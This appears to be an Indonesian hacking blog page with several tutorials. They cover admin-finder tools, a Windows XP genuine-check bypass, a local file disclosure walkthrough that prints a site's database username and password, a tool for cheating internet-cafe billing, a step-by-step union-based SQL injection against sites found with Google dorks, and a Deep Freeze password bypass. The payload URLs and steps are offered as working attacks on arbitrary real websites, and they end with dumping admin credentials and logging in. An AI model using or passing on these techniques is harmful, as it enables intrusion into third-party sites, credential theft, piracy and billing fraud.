Admin Finder Online

Beberapa Tools Admin Finder Online , ,silahkan coba gan :

Sebelum masuk ke menu Admin finder..agan" harus ikuti langkah di bawah ini :
klik support Link 1 > Support Link 2 > Support Link 3 > klik Enter








Mau mencoba menggunakannya silahkan Klik di sini










Mau mencoba juga yang ini silahkan Klik di sini

kalau sudah windows seperti kasus ini..pasti jengkel ..mau di ganti walpaper seribu x juga ga bakalan bisa (tetap aja hitam :-( )..hmm ketahuan kan sekarang yang sering menggunakan windows yang bajakan (sama seperti saya.saya juga gunakan yang bajakan kok :-P). nahh di sini saya mau share ajja cara ngilangin genuine di windows xp..

• langsung ajja download filenya di sini

~GOOD LUCK~

Local File Disclosure..

 

Wah ni cara baru saya di ajari ama kang rahman(thx banget dach buat si akang udah mau lajarien saya yang cupu banget ni) ...tapi cara ini kalau saya bilang cukup mudah… :-P , tanpa ngebacot terlalu lama lagi ..dan agan sekalian pasti bosen dengan bacotan saya..kita langsung saja ke pokoknya..seperti kata Om parto kita Ke TKP..:-P

Masukkan Dork ini di SE kesayang kita yaitu mbah Google ..huhuhu

 inurl:downlot.php?file=

nahh banyakan site” pilih salah satu dech..

jika agan sudah menemukan site yang agan suka kita lanjut..

misal:

website/downlot.php?file=blalalalalalalalalalal

nahh hapus yang ada di belakan tanda “=” tanpa tanda petik

jadinya seperti ini : website/downlot.php?file=

tambahkan “../index.php" tanpa tand da petik ..

jadinya seperti ini :

website/downlot.php?file=../index.php

jika isinya kurang lebih seperti ini kita lanjut.kalau ngga ya cari site lain :-P

  include "rss.php";

  header('location:home');

?>

 

Kita lanjut ketahap berikutnya..

Ganti index.php menjadi “rss.php” tanpa tanda petik..

Jadinya seperti ini :

Website/downlot.php?file=../rss.php

Kurang lebih isinya seperti ini:

include "config/koneksi.php";

 

$sql = mysql_query("SELECT * FROM berita ORDER BY id_berita DESC LIMIT 5");

 

$file = fopen("rss.xml", "w");

 

fwrite($file, '

http:../herusc

Feed Description

en-us');

 

while($r=mysql_fetch_array($sql)){

  $isi_berita = htmlentities(strip_tags(nl2br($r[isi_berita]))); // membuat paragraf pada isi berita dan mengabaikan tag html

  $isi   = substr($isi_berita,0,220); // ambil sebanyak 220 karakter

  $isi   = substr($isi_berita,0,strrpos($isi," ")); // potong per spasi kalimat

 

  fwrite($file, "

                

                 http:../herusc/berita-$r[id_berita]-$r[judul_seo].html

                 $isi ...

                 ");

}

 

fwrite($file, "");

fclose($file);

?>

 

Kita lanjut ketahap akhir..

Ganti “rss.php” menjadi “config/koneksi.php” udah tau kan (tanpa tanda petik :-P)

Jadinya seperti ini :

website/downlot.php?file=../ config/koneksi.php >>dan disinilah id dan password website sang admin <<

$server = "localhost";

$username = "heruscco_herusc";

$password = "m^lfNqd;KKSoBV)";

$database = "heruscco_h312u";

 

// Koneksi dan memilih database di server

mysql_connect($server,$username,$password) or die("Koneksi gagal");

mysql_select_db($database) or die("Database tidak bisa dibuka");

?>

Nahh segithu ajja jika ada kesalahan dalam penulisan harap di maklumi..

 

Nb: cara ini hanya bisa di lakukan di website local..

 

Thx to :Allah, my family, Mr.terminate , melodiazz, ade yonathan, rahman banditcode,all member i-TOFU,  ilyaz, dan you,,

 

 

hacking billing explorer

Hacking billing Explorer..

Mendengar judulnya jadi teringat masa lalu. . . bolos bareng ama teman ke warnet dari pagi sampe sore bayar billingnya Cuma Rp.2000,- :-P. . .hahahahah,,,(suuhtt diam” yaa..)

Oke kita langsung saja cukup mengingat masa lalunya, , ,padahal saya kan masih mau ngingat L , ,

Tapi ngga apa .. cara ini hanya bisa di lakukan pada billing explorer yang biasa ada di warnet”..wkwkwkwkw

Caranya seperti berikut ini :

· Download tools rezbilling di sini

· Kemudian extract dan jalankan file tersebut. .gambar toolsnya seperti ini :

· Sebelumnya mereset kita perlu tau berapa no ip address servernya .. biasanya saat kita baru mulai mau main akan muncul ip address servernya . . atau bisa juga pake cara ini :

· Klik start>run>ketikkan CMD. .or bisa juga windows + R > cmd..(untuk masukk ke command prompt)

· Kemudian pada command prompt ketikan “net view”(tanpa tanda petik)

· Nahh kan banyak thu daftar listnya cari yang namanya paling lain or aneh sendiri lah…( thu sie menurut saya.. :-P)

· Setelah thu ping hostname tersebut…

Jereng jreng…muncul dach ip servernya… misal ip servernya : 192.168.1.3..

· Oke setelah ip serverya kita ketahui..kita kembali lagi ke tools rezbilling..pada menu Ip address ( yang berada di tools rezbilling gan)..masukkan ip address servernya > klik connect (jika connect maka ip address servernya benar..horeeee,,kalau ngga ya cari sendiri ip address servernya :-P)

· Nahh pada menu tab “billing version pilih : Billing Explorer Ver 4.43 DeskPro 6.0” . .

· Oke nie tahap terakhir… pada tab “your Pc : masukkan no client anda” (biasanya diwarnet kan ada nonya thu liat thu ajja gan…hihi… kalau sudah tinggal klik “send an exploit message” dan refesh billing anda..or reboot ulang pc client di warnet tersebut…

Oke mudah kan …selamat mencoba, , ,

Eits sampe lupa, , , pas bayarnya jangan lupa pasang muka innocent ya or muka bodoh ( thu bahasa saya :-P, , tapi emank muka saya bodoh kok..wkwkwkwk)

Thx to :Allah, my family, Mr.terminate , melodiazz, ade yonathan, rahman banditcode, dan you,,

sql injection

SQL Injection

Sebelum mulai kita lebih baik mencari Tau dulu apa thu SQl injection…?????? Langsung ke Mbah kesayangan kita google :-P, , ,searching , ,searching, , , horeee ketemu. Nahh ini Dia

SQL Injection adalah sebuah aksi hacking yang sering dilakukan di aplikasi client dengan cara memodifikasi perintah SQL yang ada di memori aplikasi client dan juga merupakan teknik mengeksploitasi web aplikasi yang didalamnya menggunakan database untuk penyimpanan data.

            Me       : cara ini yang sering saya gunakan lho..?????

            Bla.bla : lah orang kamu emank taunya thu ajja..heheh

            Me       : jiah diam-diam jangan di bongkar ( ketahuan dech)..

oke kita langsung saja…

                       

1.      Masukkan dork dibawah ini ke mbah google :

Inurl:galeri.php?id=  ( atau bisa juga pake dork lain , , tergantung kreativitas ente – ente pade, heheh kata” thu pernah saya terima dari 2 orang dalam beberapa menit L)

Nahh banyakan yang muncul di mbah google, , pilih salah satu..

contoh : website/blabla/galeri.php?id=13 (dan disini thu yang kita anggap sebagai target)

2.      Langkah berikutnya mencari kutu dari site tersebut dengan menambahkan karakter ‘ di akhir url site taget kita ..

Contoh : website/blabla/galeri.php?id=13’

Nahh kalau muncul “warning mysql sintaks error..blabla” berarti kita beruntung site tersebut ada kutunya…ok kita lanjut,,

3.      Di tahap ini kita akan mencari jumlah table pada database site target..

Menggunakan perintah “order by”..

Contoh : website/blabla/galeri.php?id=-13+order+by+1—

Kita mulai mencari jumlah tablenya (jika ngga ada error berarti bukan segitu jumlah table site target)

Misalnya : website/blabla/galeri.php?id=-13+order+by+1—(ga ada error)

website/blabla/galeri.php?id=-13+order+by+2—(ga ada error)

website/blabla/galeri.php?id=-13+order+by+3—(ga ada error)

website/blabla/galeri.php?id=-13+order+by+4—(ga ada error)

website/blabla/galeri.php?id=-13+order+by+5—(ga ada error)

website/blabla/galeri.php?id=-13+order+by+6—(error)

nahh berarti jumalah table site target kita adalah 5 (karena di 6 ada errornya)

4.      Tahap berikutnya mengeluarkan magic of number ( kata bang mellodiazz thu …tak copy :-P)

Contoh : website/blabla/galeri.php?id=-13+order+by+1,2,3,4,5—

Hohoho..keluar thu angkanya ..kita anggap yang keluar adalah angka 2 dibawahnya ada 4 dan di bawahnya 4 ada angka 5…

Nhh di situ lah kita letak username admin dan passwordnya. . . pilih salah satu dari ke tiga angka tersebut…di sini saya memilih angka 4 saja lah…

Untuk melihat versi Sqlnya, kita akan menggunakan perintah @@version, atau version () kemudian masukkan pada angka yang keluar tadi (yang tiga angka keluar tadi thu lhoo)

Contoh : website/blabla/galeri.php?id=-13+order+by+1,2,3,@@version,5—

Jrenggg….maka akan muncu versi sqlnya ..kalau yang muncul 4 , , berarti kita kurang beruntung kali ini, ,tapi jika yang keluar versi 5(horrrreeeeeeeeee…!!!!!!!!!!!!)..berarti kita bisa ke tahap berikutnya, .

5.      Untuk menampilkan semua isi table pada website target menggunakan perintah :

Group_concat+(table_name) >>di masukkan pada angka yang keluar tadi<<

From+information_schema.tables-- >>dimasukkan pada akhir angka<<

Contoh :

website/blabla/galeri.php?id=- 13+union+select+1,2,3,group_concat(table_name),5+from+ information_schema.tables—

maka akan keluar semua isi table database website tersebut, ,

6.      Nahh tahap yang ni di butuh kan ketelitian anda, , hehe, , kerena anda akan mencari table yang mengandung username sang admin dan passwordnya, , karena banyak tablenya masih dalam bentuk ascii, , kita harus mengkonversikan table tersebut ke bentuk hex, , search google, ,

Yang biasa saya konversikan tablenya seperti : admin,users, ,dll(tergantung sitenya heheh)

Kalau sudah di konversikan..kita mulai ngedumpnya. . .menggunakan perintah, ,

Group_concat(column_name) >>di letakan pada angka yang keluar<<

From+information_schema.columns+where+table_name=0xbentuk konversi table ascii ke hex >>di letakkan di belakang angka terakhir<<

Contoh :

website/blabla/galeri.php?id=-13+union+select+1,2,3,group_concat(column_name),5+from+infor
mation_schema.columns+where+table_name=0x61646D696E—

maka akan keluar isi tablenya misal isinya : id,username,pwd ,email

7.      Tahap yang terakhir,,, kita akan ngedump isi tablenya pada “culum_name” menggunakan perintah :

Group_concat(0x3a,username,0x3a,pwd) >>di angka yang keluar tadi<<

From+admin >>di letakkan di belakang angka terakhir<<

Contoh :

website/blabla/galeri.php?id=- 13+union+select+1,2,3,group_concat(0x3a,username,0x3a,pwd),5+from+admin—

jeng jeng jreeennnggggg…hahaha

yang akan keluar : admin:caa94f2662da768490629af7192a5831

username : admin

password : caa94f2662da768490629af7192a5831

jiah passwordnya panjeng banget dan aneh pula..????

kalau seperti thu berarti password website tersebut di enscrypt pake md5, , ,cari ajja dimbah google banyak kok…

kalau sudah di enscrypt md5nya..tinggal mencari tempat loginnya dech .. gunakan tools “adminfinder” untuk mempermudah anda..

ending ..

setelah login terserah kalian mau apakah site tersebut..saran saya jagan merusak website tersebut.hehhe

akhir kata kalau ada kesalahan dalam penulisan saya mohon maaf..

thx to : Allah ,My family , Mr.terminate ,Melodiazz, ade yonathan,rahman banditcode,and you

Hacking Deep Freeze

Menggunakan deep freeze adalah salah satu cara agar kompi/leptop anda tetap aman darie serangan virus karena satiap kalie kompi/leptop melakukan reboot ulang kompi/leptop akan kembali sepertie sedia kala…..

Di suatu ketika terjadi mala petaka anda lupa password deep freezenya, , anda tidak perlu cemas dan khwatir karena masih ada cara untuk menembus passwordnya, , ,
Untuk itu ikutie langkah” berikut inie:

• Download tools Deefhack di sini
  
• Kemuadian extract file tersebut
  
• Jalankan file Deefhack anda , , ,

Maka akan muncul jedela kotak dialog sepertie gambar di atas…

• Pilih tipe Deep Freeze anda… Pilih Apply…
  
• Maka akan muncul icon clonenannya deef preeze di menu taskbar anda..
  
• Klik icon tersebut + Shift.. trus enter…
  
• Selesai sudah deep freeze berhasil di lumpuhkan….hehehehe

Sekian dari saya jika ada kesalahan dalam tutor ini saya mohon maaf….

~good luck~